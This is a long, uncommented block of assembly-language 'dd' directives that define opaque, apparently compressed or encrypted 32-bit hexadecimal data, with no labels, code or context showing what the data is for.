dd 0E86BD497h, 0DCC0EEEh, 78204039h, 5D7BBD68h, 0B7429B00h
dd 0FDF1D880h, 0C828DD6Ah, 6E073A7Dh, 5D107E94h, 8089223Fh
dd 6940F94Ah, 7E7A4514h, 30282E86h, 0AF514443h, 88817617h
dd 99A71441h, 0FD075188h, 6CEF10BCh, 3F405C11h, 0B296474h
dd 11C3B721h, 39104610h, 6F80B878h, 8FB040BFh, 0E4801B77h
dd 0FD048979h, 0CB730163h, 0EE0B5188h, 0E901888h, 0EC00E90Ah
dd 5967357Eh, 9063CD28h, 5D663603h, 0B8B0E378h, 0C25657h
dd 1C52F674h, 32BE247Bh, 0BF983C03h, 80A3AA6Dh, 498C18h
dd 56DE99A4h, 0F32F9036h, 1D95E23Dh, 0A5005C26h, 0C80E013Ah
dd 8B6800D7h, 7EE62C93h, 0AD005ED4h, 5774EC50h, 9AC4E4h
dd 1E28B071h, 9880955Fh, 6E441003h, 90B27412h, 2511B1h
dd 0B835AD31h, 8C5DD173h, 799D7F00h, 0BA71262Dh, 0BF7A6Ch
dd 0B064357Bh, 301312B5h, 0B4D7C500h, 936AE2EFh, 0EA44009Eh
dd 0C6CDAC59h, 0CE0341B9h, 0DE380E0Bh, 8D5B8862h, 0FED600A7h
dd 0CADBF29Dh, 639EAA2h, 7A0187CEh, 78101FD1h, 0B8513516h
dd 0F2370064h, 23792770h, 0ADEC6FCEh, 0FCFD0400h, 4AC58F1Eh
dd 641707BCh, 0D0321CE0h, 0A36B0A4Eh, 0CB11E11Dh, 2B0E1F5Dh
dd 8A712053h, 0F684544Ah, 3AF6EE6Ah, 778021C9h, 3409127Ch
dd 79713363h, 880D2400h, 57CB25ADh, 0BC053FE0h, 6C37E600h
dd 61542922h, 7C468000h, 0AECAA2D7h, 6D9200EBh, 8C8E77Eh
dd 3900E33Fh, 0C7E05B1Eh, 9145E2h, 68B78C56h, 0B0D4A027h
dd 16540F07h, 3B70F743h, 8D38A6h, 0F8D29508h, 0C47636C8h
dd 0BAE1553Ch, 0B600FD3Eh, 5B86C28Ah, 58910CC3h, 0A3D504Fh
dd 9A13010Eh, 84546D67h, 0FF8C092h, 5300CC97h, 58987BE6h
dd 4AE4A8h, 0FB41BDCEh, 0ECAD3F67h, 0F8D3007h, 5567B9A6h
dd 0C80C1D80h, 0DD910F99h, 2280E9F1h, 3E0E615Ah, 1F77EA00h
dd 4C11EF3h, 6AD0048h, 29B2989Eh, 7E0080C0h, 0E253C2B1h
dd 0CA26F6h, 93336D72h, 494722DAh, 2FFA8790h, 0D42A7303h
dd 0CF8DAF65h, 814CB880h, 0A591223h, 103600E2h, 9588D2CBh
dd 24F4BE00h, 0EDE71770h, 0A366091Ch, 3F0099F7h, 0E165280Ah
dd 5B0F3277h, 0C76860FDh, 3820BC7Dh, 7CA9963h, 0C36C4D15h
dd 6092B0FCh, 2CB0350Bh, 0CCA36800h, 0F6E85546h, 0F70103C0h
dd 0A208C672h, 0E6A67680h, 156F6300h, 4134D365h, 50DB1E84h
dd 8CE1C040h, 226A0936h, 3370A605h, 8880F725h, 745A7E44h
dd 2650024h, 0EDBC99ABh, 0F500E6FBh, 3977D46Bh, 3A3798D8h
dd 0AC809510h, 78C2C74Bh, 6958763Eh, 0BE7500D7h, 0FFF31380h
dd 94AF0002h, 0A255F57Bh, 4B3C4DF4h, 0FBF000C2h, 8250C131h
dd 27C46h, 266B4861h, 0C5354270h, 73CE250Eh, 0F2B6C719h
dd 3F62BF81h, 5EEBF8C3h, 7AEE0Bh, 0D2A149D4h, 0B1B9D8EDh
dd 3975713Eh, 0F48C89FAh, 28B80009h, 181C698h, 0E3A58891h
dd 0ECC54344h, 4602D8F3h, 0B86C6554h, 8CCF87ACh, 991F2940h
dd 5F140072h, 0AF792CA2h, 81000B6Ah, 745D4B0h, 17659593h
dd 6296B4h, 666B6CAh, 0A6756AF2h, 0FD5D6B00h, 7DBEF009h
dd 63763AB7h, 3C3D9880h, 75F8E136h, 0DEA01100h, 0AFAB661h
dd 0AD4F01ACh, 0BE50B2EEh, 9A7DC4EAh, 63404Ch, 0E23186BDh
dd 3DC458h, 0D1A2C826h, 872233C3h, 3F700200h, 0F3B82029h
dd 3683E76h, 0E8FCD900h, 0F60CF008h, 0D0EBE200h, 9BA15ABCh
dd 0FF3A026Bh, 22A95F56h, 9FCC8Eh, 87EBBE98h, 28003B37h
dd 41E4913h, 12F05CB2h, 3CE367h, 91C70530h, 3D009D8Dh
dd 5CD611ECh, 7C9F31Dh, 3E2078D2h, 0D4DDB174h, 0EB2FF0C0h
dd 8CC2E51Ch, 7D70DC40h, 0F0D87FA3h, 17800092h, 63FF94C4h
dd 0DD003611h, 2AD08572h, 0D9561Fh, 0C6CED703h, 0FCCAED6Eh
dd 0B6A7F003h, 0EA2ABE9Dh, 2560DD3Ah, 34F24A54h, 0F9091B00h
dd 9CFC48C3h, 77400A5h, 0EABA86F3h, 587912C9h, 19F16A01h
dd 9B7B461Ch, 4BC5B0DCh, 29E0055h, 8526291Dh, 0DC001090h
dd 0CC398CD6h, 3C0E1931h, 0E29E3D0Fh, 0C75BC0B4h, 0B3B5D95Dh
dd 0FFFCE001h, 5654D1B1h, 9378A880h, 0B7406497h, 796A4E02h
dd 402CFD8Fh, 7E9528h, 0CCCBB8C5h, 0F50E7250h, 430DD818h
dd 64B1F6h, 0B754DF06h, 40365752h, 0F105101Fh, 7E916580h
dd 29F7DD7h, 57DF3AAFh, 16407619h, 0FEA05B69h, 6500A736h
dd 120D6ECFh, 16D8AD27h, 579D9Eh, 808AA846h, 0D30016EAh
dd 14986E9Ah, 3BF63805h, 0B4815EFFh, 847363B0h, 0CCF4C41Ch
dd 228A5700h, 0A1C4092Dh, 5FF90052h, 6D3B2A85h, 0D0007D32h
dd 164E01CEh, 1429D90h, 983F490Fh, 607C3744h, 51E6C98Ah
dd 7961CB00h, 0C657632Fh, 234B0097h, 72B6AEC4h, 50075A7h
dd 3C7A9A5Dh, 8A0A16h, 274724CCh, 0F2B9AE1Dh, 5FBC5407h
dd 0C8910C94h, 0D8CCC003h, 0F1DB002Fh, 0D671C5F5h, 160EF318h
dd 0AFD23B42h, 4E7DA1E4h, 6CD478B7h, 87EA03F4h, 0DC8BDE71h
dd 300BA898h, 8FAE5704h, 0F8C8F2D2h, 782F0012h, 10A3264Fh
dd 0EF0044B8h, 1F5F46D6h, 0F78F34h, 4C197535h, 424F8A93h
dd 6E96B205h, 0D382F322h, 0E020E017h, 0A2DA0158h, 2D2F78C4h
dd 4F5D7028h, 66398500h, 21CD6026h, 0EE8C0029h, 0BF361E31h
dd 0E100EC94h, 0F37DC84Ah, 2889AB2h, 0FE340FE7h, 6D609903h
dd 0D3172436h, 420379Dh, 48965BEFh, 0E8002923h, 5D1EDB55h
dd 400AC58h, 316DE20Ch, 0E6F25C20h, 767000BCh, 0C264300Fh
dd 0E01EE799h, 0B2404A26h, 0BAA9AFBEh, 0D4524D93h, 0CBFC421Fh
dd 7905F969h, 5388161h, 4E68609Ch, 87DE7E38h, 0DD97FA15h
dd 192BF570h, 75770FACh, 0E2E088AEh, 99B18533h, 0E8968F0Fh
dd 0DCBF403Fh, 31E12C4h, 3A78FD77h, 80DF0CB8h, 0C2960430h
dd 0EA3CB000h, 49C89D86h, 8D8A372Fh, 0CE169092h, 0E6002DC3h
dd 156C6FABh, 2879035h, 995D54E5h, 607F0FC6h, 0FE23722h
dd 650CD2E4h, 80F13264h, 631D6120h, 13223C00h, 0A3AA8B1Bh
dd 0B67A0F3Fh, 0AB00388Eh, 64A0F85Ch, 45213D00h, 2CE7F0B3h
dd 724A2C31h, 0C41A0088h, 0D48735F5h, 1FE5803Ah, 7A87057Dh
dd 16202A03h, 0C40CA1h, 5619434Dh, 5EAD2995h, 0CECB3D24h
dd 9DF74100h, 0E4D249CDh, 0C3C6C0E6h, 0C1F96514h, 0F4817D00h
dd 0BD5EA589h, 0D42B0030h, 6152C8F3h, 0D107C2F0h, 5C1B36BBh
dd 0C654C460h, 58712CAAh
dd 0A60900C2h, 0BD9D3213h, 97032701h, 0C3F8680Ch, 0F8610F0h
dd 0ED83A771h, 0A43B7080h, 63987754h, 0EA38FC01h, 4A7625C7h
dd 5F5030h, 0A5A686Eh, 5EE7173h, 40060B00h, 0A94A7CF4h
dd 264C9814h, 0AE1970h, 8879582Bh, 1000564h, 10E14F86h
dd 38F20B5Bh, 0B800B522h, 0F44382F6h, 58011BCBh, 0CEFB87D7h
dd 0EACC8C53h, 62B00F8Eh, 79239B8Ah, 0C8E10C5Bh, 0F346EC9Ch
dd 23DF3Ch, 1A05907Dh, 1E573114h, 83C6E9A0h, 0F44D557Ah
dd 1E66884Ch, 181F3851h, 3B66FD80h, 1E4E83Dh, 81A41398h
dd 30B7F11Fh, 2002F70h, 16D019AAh, 0FB9271h, 0C45A6DF6h
dd 0A3AE5838h, 0E96F43Eh, 40DDD87Eh, 0ACBC21E4h, 498D0022h
dd 3CEAEEA9h, 0ED003492h, 0B7312EBFh, 1D5F36h, 7F795D83h
dd 3D02476Bh, 5BD5D000h, 0F0D3DEC1h, 3F42750Ah, 3C81EE2Ah
dd 6E063AF6h, 4D7AF05Fh, 0EFB16003h, 0F64A5EF4h, 0BBD89DE0h
dd 0B53B5600h, 80354FCAh, 9EB3009Ah, 0A9B3D17h, 0D3017C0Dh
dd 0E7FB0CAEh, 788195CFh, 8DDBD1FFh, 51A6CCA5h, 13E3948h
dd 19AFE078h, 31C0AD11h, 33FE46h, 0A1DA0F6Fh, 0A62EEE7Ah
dd 85EC0E01h, 32E2D592h, 798C46D8h, 5ADF00A5h, 0B0CD62B5h
dd 0F500CC1Ch, 7365B220h, 1F7D197h, 568E8998h, 0F1FB7715h
dd 96A85045h, 517B16A5h, 0C7ABB100h, 0D57DFCCDh, 0D09ACEh
dd 0CBA30BE3h, 0B0BBAD86h, 8DE07100h, 0F05FDA66h, 0D5E1EE8h
dd 29D4CF01h, 0F79EBCC0h, 9113E4BAh, 8800B31Fh, 39CD8F96h
dd 0DAE63Bh, 0DC2C3C86h, 88AD7148h, 23BD2406h, 0A0CCF1h
dd 0F32E6312h, 4092D362h, 36E3300h, 768DB70Ch, 0B43800C6h
dd 880EFD9Dh, 7D00EFE3h, 708A87A8h, 0EF3C96Bh, 14F6596Fh
dd 0FD26409Dh, 0FA54513Ch, 33FCC3Fh, 0B4B0D380h, 0F0368B33h
dd 1EE5B530h, 7C13299h, 9182C38h, 0FF7BDCB8h, 0C0841F00h
dd 2E446297h, 56F400D1h, 0D7AD8E3h, 4F00C131h, 0C8925CFEh
dd 65174Dh, 9C9823F1h, 0E2AD709h, 0E200EAF8h, 1FF94411h
dd 7A1C1B83h, 42500010h, 9BDF1EBBh, 0A5006E02h, 0AE4B4A78h
dd 935D37h, 4D12161h, 0FAA16226h, 0F8ACBF68h, 0F8B89607h
dd 0CBF58EC0h, 9D82008Ah, 70EBABB0h, 0C9001799h, 0AC33C2E6h
dd 1689A1Eh, 47038878h, 0D4C6A186h, 0AB488F01h, 3F360024h
dd 947CBB82h, 0C2F800A2h, 52FE3DD3h, 5BFEA870h, 41973300h
dd 69196D91h, 7C12875h, 21E20781h, 331B3A5Dh, 7CA802DAh
dd 32070347h, 0AD996B25h, 0DDCE8940h, 7F4F2D9Ah, 0A3CCAC02h
dd 139E044h, 7D6D8F73h, 0DA25C0B3h, 7E3148h, 0EEE4157Fh
dd 0E2559DF8h, 0F5496500h, 41132643h, 0BF9F20Eh, 3B2E59Ch
dd 0B9401A02h, 7DBB8860h, 66070176h, 9DD7C673h, 391D4A51h
dd 0E33860h, 5F0241FCh, 5DE17903h, 8F8C203Ah, 60ACB48Bh
dd 7E3B6B69h, 297E3Fh, 88C3F635h, 7DFEB5BCh, 28C2A200h
dd 999B52D9h, 5E1600C9h, 0CC419DC7h, 600D082h, 0AB7875BEh
dd 43A244h, 3D40CF4Eh, 978C1AA8h, 8DD2B500h, 75E439A4h
dd 0F9320EB1h, 0BC5CBEh, 31D76E4Fh, 86008FD8h, 742BE15Dh
dd 15E71C1h, 0A91CA5E2h, 20E060B3h, 65015979h, 514EEE4Ah
dd 5CDCB604h, 650032Fh, 914D6D0Bh, 5973E00h, 594EBFDDh
dd 2812019Eh, 9D64C2F9h, 0FFADF81Fh, 0BFDB9F00h, 68317852h
dd 0A95B48CDh, 0E7216407h, 97FF00A3h, 3000142Ah, 50B18866h
dd 0F2852h, 0DB96EC02h, 5BB7CB92h, 887E9B00h, 0A8EA34AEh
dd 58440033h, 7325EBE2h, 2900866Ah, 40E07607h, 0CBC3E1h
dd 0C694ED84h, 51E767E6h, 86568928h, 0BFCAE39h, 80E9424Bh
dd 5B122E17h, 723076Bh, 10591882h, 0E9055A87h, 1E00FA74h
dd 0E88E2050h, 0F5909Fh, 9D41B3DDh, 160C4608h, 0EF00FDFEh
dd 70E72A6Bh, 30B5744h, 0AA71F295h, 0C3C03B07h, 0DC004EE4h
dd 9A7FCE05h, 756925Eh, 2B1A80B6h, 24002E41h, 331744CAh
dd 0AF14Ch, 210DCC70h, 307222Fh, 8F4F2A43h, 0AEB9F65Bh
dd 6B87E8FFh, 0E9868800h, 4450A711h, 1F2948CFh, 3E202Eh
dd 58BA1C8Bh, 0EF003789h, 13D4E07Bh, 11D8D0Eh, 0C79CD6E4h
dd 8042D143h, 6A6BEE82h, 0ABE3BAh, 309F5C0Ch, 0DFFABE2Ah
dd 0F0E2BE2h, 272817h, 4D0C396Fh, 35743F75h, 25642F80h
dd 9F916CA2h, 38AF300h, 1350C590h, 0A60600E6h, 2EED0E3Ch
dd 0A3008807h, 2BFE6664h, 0E6D7B7A7h, 0BA02038Bh, 0DC2EB2ADh
dd 0BB652390h, 7FDD0601h, 253E508Ah, 0F059540h, 0D3E717D9h
dd 863A0CDh, 4688DD01h, 3294DCEAh, 0CC8DB9F8h, 0C860AF10h
dd 0DB1D711Eh, 21C32040h, 0E8B13A7Bh, 1291035Bh, 47E4551h
dd 2527A581h, 9368E038h, 0E43FCB00h, 0AB4D7013h, 0C50D07A3h
dd 30240E56h, 965022D4h, 9B24F00h, 5F173FD3h, 1E7600B7h
dd 0B4C32379h, 68C7861Dh, 28B06BB5h, 0E13D1Ch, 2C85097Dh
dd 0A953E4ADh, 0D817EA00h, 4290D3CBh, 0C79600A8h, 4BAFAE1h
dd 0D01E0670h, 0A1C07398h, 0DCD29167h, 8A8D1EEEh, 839C40D4h
dd 0CBBCE053h, 450BB100h, 4F3252Ch, 0B89B0022h, 0CF7CA1CDh
dd 1F003CDAh, 2427DED2h, 0C0D19192h, 0E22A2C80h, 4000B37h
dd 36F7A793h, 0C16390h, 1B4125CAh, 548469FCh, 48A20E00h
dd 5321D7CFh, 0DA80BC0h, 0D480948Ah, 0F209FB47h, 0E3E7C401h
dd 96696E16h, 3C7A89CCh, 0AB0B7511h, 8B03456Fh, 9CE04A1Fh
dd 0A0E6213h, 0EFC16B61h, 0B56C2091h, 393BC4C0h, 0F0C8A096h
dd 24F7563Ch, 24BE2D26h, 0F035009Ch, 8A7C1524h, 0F1223D0Eh
dd 5D4E202Fh, 3E3E868Eh, 74300Ch, 55A1E4B1h, 2799E898h
dd 1F362B0Eh, 86D94007h, 14BFD0Bh, 4C56877Ch, 0FC40F3DCh
dd 15009DE3h, 0A966C068h, 7E51CFh, 0F17BD696h, 0B77F1CB2h
dd 0E6300300h, 0FBF3AD13h, 73F9002Dh, 59FD407Bh, 57004E36h
dd 0B88655F8h, 70EDFh, 0BFE92C0Fh, 2E1DF31Fh, 0A900F0B8h
dd 0C4F19D55h, 17C277D7h, 0A8CE7F71h, 6AD300B5h, 1532D28Ch
dd 838F01ACh, 84190474h, 46FF705Ah, 5D3F1E01h, 14DDFD8Ah
dd 38B6ACCh, 4120695Eh, 0A590AED4h, 0E1008221h, 9F388081h
dd 0A91A16h, 0ED141EEFh, 0BC2593CAh, 66EB6505h, 4B8772ACh
dd 5F56CEF0h, 0E1D60035h, 5D4CAFCCh, 8F003EC1h, 0B66BD59Bh
dd 1860100Bh, 0D0E3A7C9h, 4600E282h, 7470A528h, 3ECDA4h
dd 0EB454F89h, 0BD2F5539h, 58E48E00h, 9A4DECB2h, 0FDF20F5Dh
dd 0C700D9B0h, 7856ED82h, 0C50E24EAh, 200BEE36h, 0C29122A5h
dd 306C90AFh, 0B8B6F656h, 0DF0044E9h, 8006E5D6h, 757C4294h
dd 0E04D0559h, 0C023A328h, 65ED8642h, 69094700h, 0EE073BFBh
dd 0EB77007Ah, 2D50747Ch, 16008C70h, 0E79E5C29h, 0B8306Ch
dd 71F85B75h, 0B1A2D9D5h, 0A5009375h, 3A44F6CAh, 118F23h
dd 0DF2937B0h, 3259A7C5h, 0C3779100h, 7041406Ah, 90873AD3h
dd 0FFC6A000h, 0B8188E0Fh, 0ACDAAF00h, 0A56561F2h, 3C9448EEh
dd 205CAA05h, 0E52FC005h, 0FC07BAF6h, 22DC953Eh, 8635C210h
dd 80E717D8h, 79260427h, 0CBE4C1A3h, 0C7ACF87Bh, 3BB18F04h
dd 0EBC48568h, 0C3EA8000h, 911EB8h, 87E13617h, 0E5D9ED8Ah
dd 98FFA00h, 9FDD8BB1h, 0D0940089h, 0EFCBC785h, 8E48D82Ch
dd 0EB027660h, 42BADE57h, 0A8A8402Ah, 184F0E1Bh, 29E0A584h
dd 47A2528Ah, 61B8F700h, 0D09715FCh, 0DE62001Eh, 46E6BD08h
dd 0A13D9F95h, 0D0A2282Bh, 0A6244001h, 5D231A56h, 3C21D280h
dd 79B36031h, 0ECFF7074h
dd 26F60883h, 3BEE9116h, 0D6D0305h, 82259380h, 0C4D43AF0h
dd 0E0F2B200h, 939950F4h, 0AA009273h, 47AB2577h, 681358h
dd 0BA063E94h, 0CAB6BBCBh, 3527B300h, 4B29D54Eh, 0E86201C5h
dd 0A647D378h, 810030FBh, 1D5440h, 3F213052h, 142E36C2h
dd 0B0FBD700h, 89A06A88h, 0D8400B2h, 3BCE5B7Eh, 38000960h
dd 19F750F5h, 35E9072h, 5B089488h, 6A982D8Bh, 5D00B902h
dd 3A1D3073h, 0E55C7Bh, 47ED186Eh, 0AEBC20DDh, 0F78CD300h
dd 379D034h, 36B4005Ah, 3D5EA952h, 2800E486h, 0DFAD33AFh
dd 0C847FFh, 11B080EFh, 274056Fh, 97084B00h, 2493C4B9h
dd 89A60EF8h, 8BC018F2h, 0F9C07FB7h, 0F3CC8D00h, 9F8A3CE9h
dd 2C6B000Ah, 0D913283Eh, 0B900B1BCh, 2A2D7734h, 7AA8797h
dd 0E49FC301h, 0CA9580B2h, 63008D65h, 0BCE1A329h, 0E03DEA5h
dd 8840EA61h, 50246E80h, 5E0005B9h, 0FD3FD238h, 0E49C7A7Ch
dd 9AFF006Fh, 4A11D546h, 0E600030Bh, 3EDF33E9h, 3A45E776h
dd 0BC00713Ch, 5C0DAEEEh, 0C4006446h, 0A6D0500Bh, 29827Ah
dd 271828ACh, 0A03A20B8h, 0FD055900h, 0EB12D498h, 3F9A9848h
dd 0D580825Dh, 910FB417h, 26B0BDEAh, 5C412900h, 0AA763F7Dh
dd 0F4870070h, 45999E48h, 0B20083CDh, 35CE8CC8h, 77F955FDh
dd 0D17B001Eh, 0D9FAF69Eh, 0A00465Bh, 72489C56h, 933CEC49h
dd 5FA90760h, 68D2B026h, 13006C0Dh, 2BF78E7Ah, 3E5E2544h
dd 0E100B317h, 0C2820662h, 0C71EE26Ch, 5184282Fh, 0D1C147B1h
dd 0D280DD88h, 87D6827Eh, 571E2AFEh, 4043A9A4h, 0E07042BDh
dd 49A1746Bh, 0A8002C5Dh, 418076FCh, 75E40935h, 2E113F00h
dd 0D96D40C3h, 64FC06DBh, 3001381Fh, 0BD2A2500h, 96C73E79h
dd 0A3770152h, 540EE4C3h, 0A10CF034h, 0F88C2803h, 0A0A6FE80h
dd 2ECA86h, 0EA2A6ADDh, 0FF3B4764h, 10985F05h, 80AC93h
dd 0A04432A9h, 0EED5A8Eh, 75EF45C7h, 70B00D47h, 307FC5C4h
dd 8F6E3400h, 79FA5561h, 0D66F0196h, 6B1ED7Ch, 0B221F05Ah
dd 0E20056F8h, 0B012DF4Ah, 6E417Fh, 4EFBD1CDh, 76885853h
dd 0EB5F0207h, 0C0DF787Bh, 0B098165Dh, 21CE0792h, 5135E658h
dd 30E4A83Eh, 0FB063451h, 4BFCB073h, 765A006Eh, 3E9160BBh
dd 49F67822h, 0FFC57300h, 13451595h, 1E72005Ah, 71B1E3C8h
dd 8301A9EFh, 4BE5D51Dh, 0C0D426D6h, 3FE43F2Eh, 0A62CBCC8h
dd 5EF10014h, 66DAF76Ah, 8062D31Eh, 0C0F2A40h, 2642CBF8h
dd 2090B0h, 18EC9ED7h, 9A731587h, 438C9F00h, 0F4FE1F24h
dd 731616D2h, 88F860AEh, 0C400588Dh, 2DAB971Eh, 24826D64h
dd 3BA0162Ah, 0C1E1F91Dh, 499CF40Eh, 8FCCE0FEh, 0D877570Eh
dd 268C602Ch, 2926976h, 27E9D1A9h, 0FE8E8D14h, 17AC5140h
dd 1A00A6C5h, 47D52E98h, 0D31DFDh, 2722314Dh, 5A87CD3Bh
dd 7568E600h, 0CCCA3FC6h, 4DFB00C9h, 0E497D5Fh, 0F0E83820h
dd 0EF0A4801h, 0CCA3BC8Ah, 1CC6E0FCh, 0C07F1286h, 2E2DFD1Ah
dd 9500998Eh, 69356B84h, 15B5E2Bh, 0F5E2A2BFh, 0F8F89EE1h
dd 0F2000F81h, 0C4B2374Dh, 90DBFF59h, 8F2C252Ch, 7570F6F8h
dd 0ABE68903h, 0C80CE341h, 0CE1BF1h, 62FB7F7Dh, 0E5C3AC8h
dd 0DFE79300h, 0C5DA1751h, 1F061C13h, 0E14B008Fh, 5C07D1B8h
dd 82249B00h, 695525A5h, 0CDBB02A7h, 8F866847h, 83C3C660h
dd 4F10C403h, 0C879DA92h, 20F298h, 388F610Dh, 541A1DD5h
dd 0A40FAC00h, 2F5B83ABh, 1CE700CDh, 7BA897Dh, 0C1F3736Bh
dd 0B59740D7h, 3303442Fh, 0D01FD63Ah, 51A9015h, 10D0163h
dd 0D48BE30Eh, 3C23F816h, 0A923400h, 0D194D0A7h, 0A1EC0D06h
dd 20A64779h, 7374C7DBh, 0E90B9500h, 5908ACC8h, 50E50051h
dd 7A052D1Bh, 950FCA57h, 40D111ABh, 81DA043Bh, 833F00B7h
dd 0E8B80BB4h, 36010671h, 0F731A4A3h, 14D47656h, 730700EAh
dd 991D20Ah, 0B507D7A6h, 69750C93h, 0F3161CE0h, 34BB133Ch
dd 231D06h, 10D1519Bh, 0E800D808h, 314357CBh, 25950CB5h
dd 0B8005829h, 0B836ACC1h, 9DB0A903h, 0B0827B0Fh, 55480Ch
dd 619EFF88h, 0A46816B2h, 2F006B75h, 0FA25A99Ah, 58A6762Ah
dd 0F50043F3h, 3B2846B1h, 86003474h, 12BE6E99h, 0FDFFDEh
dd 0B1B3C1F3h, 0C958AF45h, 60D2F007h, 8834918h, 484C0D3h
dd 2020CCB0h, 660EB610h, 60436575h, 239909CAh, 5FE2E3h
dd 53B7E944h, 0D302A5FCh, 0AFC83F67h, 980D4870h, 18E40F58h
dd 80C1F3DDh, 349E6232h, 0E60072DCh, 29232F89h, 0A0FEE3D5h
dd 0C06A9D80h, 9784F621h, 5E70C4EBh, 0D76538h, 9BC60561h
dd 281EC7h, 58E7A09Eh, 8FA8F6C1h, 13910A00h, 68E84C64h
dd 0C9BC0151h, 0ADC867F5h, 0B44DFC26h, 20954300h, 117ED0E8h
dd 387F4EEh, 56D6CF48h, 2C4CEC47h, 76340016h, 2E350BA1h
dd 7FD42482h, 40C21EA4h, 3A3237A2h, 4400FC7Dh, 853E48FDh
dd 3109341h, 465DF7C4h, 2D80593Ch, 190BD237h, 0E3FB5CCh
dd 0DE66C012h, 613043h, 0D3A53115h, 925D2E10h, 592FEB00h
dd 0A10A2119h, 0ECAF000Eh, 83B4C474h, 9D009796h, 0AB4060D0h
dd 1E5F8FE3h, 47C4FAAh, 0EFE506FDh, 255B2A81h, 1D4E0D0h
dd 3A5AD924h, 0DDF7ED87h, 55CC408Eh, 0E33DB4FBh, 0D3E80071h
dd 0DC7427A6h, 0BA43006Bh, 0EA05F50Fh, 0D000AC0Eh, 6151CB73h
dd 0CD796h, 29B3BE46h, 6A2D41D3h, 7099900h, 0A983D0F5h
dd 0F3220036h, 95C2162Bh, 0A60E1E8Eh, 0B87D4C1Bh, 1F901890h
dd 814506E9h, 0C719B697h, 91226068h, 0ACD198C0h, 195EDD8Dh
dd 0D9B20A1Eh, 192DF0BCh, 97CD7A0Fh, 0FD185A42h, 799FB280h
dd 2249BBC8h, 0FA4F001Ch, 9794FDA1h, 40672878h, 28A9002Ch
dd 3E0A1DD3h, 0B1883FD2h, 7E8940C9h, 44774F42h, 9090B669h
dd 31F959C2h, 9563028Eh, 40BA0510h, 62507AD2h, 4D206D58h
dd 42DA218Ch, 6A0EBB03h, 437AA2CBh, 0BD5911B4h, 429F1082h
dd 44F32184h, 65206106h, 56818F93h, 0E2A05857h, 3EBBCAE7h
dd 2D44D72Eh, 2091C820h, 5506407Bh, 725146E1h, 2AE501C0h
dd 0A46A60AEh, 4BEC20F2h, 22D70D00h, 8C6DDCBBh, 601D24D8h
dd 0A7F00CCAh, 9F1EC7D0h, 47D88F65h, 796A40C0h, 9A4F0C68h
dd 0A6C821E1h, 0FED9BD00h, 0B82C27BCh, 446E00CEh, 0F54F1B20h
dd 0F600CDEDh, 0BB0F0D69h, 75349742h, 0A55F0705h, 0A0BE75A0h
dd 6D9F3055h, 7300E7FCh, 0AC8A4C65h, 803F0DAAh, 7AEED45Ch
dd 0FC10CA00h, 74E2E677h, 0E94C608Fh, 62A93017h, 736F6501h
dd 0D9E15E4Eh, 0C1017B20h, 0BED74CC9h, 33438F4h, 0B7EFA07Ch
dd 2F6B8862h, 29C31DAAh, 0A8D43D2Ch, 0BBDA1E5Dh, 0E62DC066h
dd 6E6539CDh, 6C61E000h, 18913104h, 0E0BD540Dh, 0B4BA2A81h
dd 0A1F909FCh, 8410486Ah, 149089C7h, 87431304h, 74D073C4h
dd 19918DDh, 8A1FF488h, 954E31E3h, 1B41A08h, 7192B2BCh
dd 80F6299Fh, 0AD2515E0h, 0EE11783Ch, 88A6000Bh, 1A450F08h
dd 23021DE8h, 0F9D03B6Ch, 0C28C807Dh, 75ACE4Ch, 0ED447096h
dd 89A8BAE2h, 0B8900C81h, 22EED6B7h, 19B1D491h, 0CED0A1FDh
dd 28804971h, 0D4A6EB0Eh, 8762F5C0h, 123AC194h, 71473046h
dd 37936C5h, 0D3552A1Ah, 63C8D778h, 44006473h, 0E3CBB819h
dd 2EDE5240h, 9FC28A6h, 3880D283h, 0AB07957Ah, 0AD07F8A6h
dd 0B51D31AAh, 21F86F88h, 0A900FC2Eh, 5CFF0FBEh, 3377D2Ah
dd 2C117415h, 0C000764Ch, 56693E14h, 485DC87Ah, 158170CDh
dd 4CACEC43h, 98087DC4h
dd 70452387h, 940173BDh, 0D142E85Bh, 583445CCh, 0F0820170h
dd 0EBECF795h, 93DFD42Ah, 0DCFF9C00h, 608E71AAh, 730C00F8h
dd 9E6EF581h, 110245D3h, 0ECD9B8C2h, 847FE036h, 64300015h
dd 699FEB20h, 900388EDh, 0F6EAACA7h, 0CEF7B03Fh, 8B7175h
dd 43DB39DFh, 0FED560F9h, 3322B100h, 0C4CCCAEEh, 42EF0189h
dd 62D357F2h, 474D7023h, 0CE52B001h, 0F032604Dh, 18C340E4h
dd 40E043D0h, 7D009853h, 29BD6344h, 0F8F0CD26h, 96A63EFAh
dd 14C99F03h, 9388E5C1h, 43004B36h, 3DBA3006h, 0A0CC1D12h
dd 0E887B8F4h, 64D00198h, 86ABDF2Fh, 0BD8EF07Ch, 9302E000h
dd 0CD9EB307h, 0FEF410h, 503F4C73h, 37C52388h, 0EA0048F0h
dd 539DE27Dh, 21AF0Bh, 0CCC7113Dh, 0C69B0C38h, 0C4841F00h
dd 994AB15Dh, 90EB02DEh, 7B18B347h, 519471E0h, 21F85700h
dd 50659382h, 0C6660044h, 0D1342B5Dh, 0C76041AEh, 57C0FE49h
dd 97F50EDBh, 26E732E4h, 0E2BFE036h, 0C73F1C16h, 0E60100E1h
dd 49759688h, 0CC5000B2h, 97D73D7Fh, 0E300BB6Eh, 85B7DA0Eh
dd 73DFBCh, 0B62C1DC4h, 36830C11h, 42C87000h, 4039F9CBh
dd 0C7A50078h, 62C99873h, 0F50010B6h, 0C24A409h, 3D26EAD0h
dd 0E40CE069h, 2190C1B8h, 0F75E200h, 0ED3563A3h, 0DF94023Ch
dd 911E7647h, 518BB4E0h, 0AB00D378h, 58F86212h, 50B7C45Fh
dd 7CA6C3h, 0DBF55CBFh, 0C8B2CD5h, 30512E00h, 7A0875Dh
dd 8D1D00CAh, 20CB3F49h, 38E49BB4h, 74429E02h, 0E0DACF4Eh
dd 4082F1h, 88A8F5B5h, 0C950A528h, 39E0EB0Ch, 40E6294Fh
dd 0B6008062h, 6304989Bh, 45DEABh, 687D4D10h, 2FA73DC2h
dd 0B52EF000h, 0F2BE5E80h, 8C3800B7h, 0FCF3CCC1h, 0DFA191E9h
dd 0BDDCDCEBh, 0D7401F0Fh, 0A5EE00C7h, 2ECCDBC4h, 3CFC111h
dd 0CD7D7110h, 2A01DE0h, 0DDD91200h, 9CBC7CF1h, 0D764009Eh
dd 773D1CE1h, 0AD1FFE54h, 33C2C2E6h, 4079D5FFh, 0A5D72Ch
dd 732EAB58h, 7E903D55h, 0D4653200h, 0A91C265Fh, 0AA4F0077h
dd 74C30DCh, 0D13DA490h, 457180A2h, 8A509892h, 1FC0E57h
